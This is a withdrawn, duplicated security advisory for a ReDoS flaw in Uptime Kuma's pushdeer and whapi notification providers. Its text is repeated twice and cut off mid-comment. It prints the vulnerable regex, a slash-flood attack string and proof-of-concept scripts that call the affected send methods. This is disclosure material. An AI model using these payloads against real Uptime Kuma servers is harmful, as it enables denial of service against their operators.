CVE-2025-26042

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hx7h-9vf7-5xhg. This link is maintained to preserve external references.

Original Description

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Summary

There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.

Details

The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.

.replace(/\/*$/, "")

For the regular expression /\/*$/, an attack string like

"https://e" + "/".repeat(100000) + "@" 

can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.

When entered from the web interface, the attack string needs to expand "/".repeat(100000) and be input directly, such as https://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.

PoC

The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:

const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");

const assert = require("node:assert");

test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});

Move the test-uptime-calculator.js file to the ./uptime-kuma/test/backend-test folder and run npm run test-backend to execute the backend tests.

Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file: https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28

// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");

// Create an instance of Whapi
const whapi = new Whapi();

const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";

// Call the send method and handle exceptions
whapi.send(notification, msg)

// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the…

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hx7h-9vf7-5xhg. This link is maintained to preserve external references.

Original Description

Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.

Summary

There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.

Details

The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.

.replace(/\/*$/, "")

For the regular expression /\/*$/, an attack string like

"https://e" + "/".repeat(100000) + "@" 

can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.

When entered from the web interface, the attack string needs to expand "/".repeat(100000) and be input directly, such as https://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.

PoC

The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:

const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");

const assert = require("node:assert");

test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});

Move the test-uptime-calculator.js file to the ./uptime-kuma/test/backend-test folder and run npm run test-backend to execute the backend tests.

Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file: https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28

// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");

// Create an instance of Whapi
const whapi = new Whapi();

const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";

// Call the send method and handle exceptions
whapi.send(notification, msg)

// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the…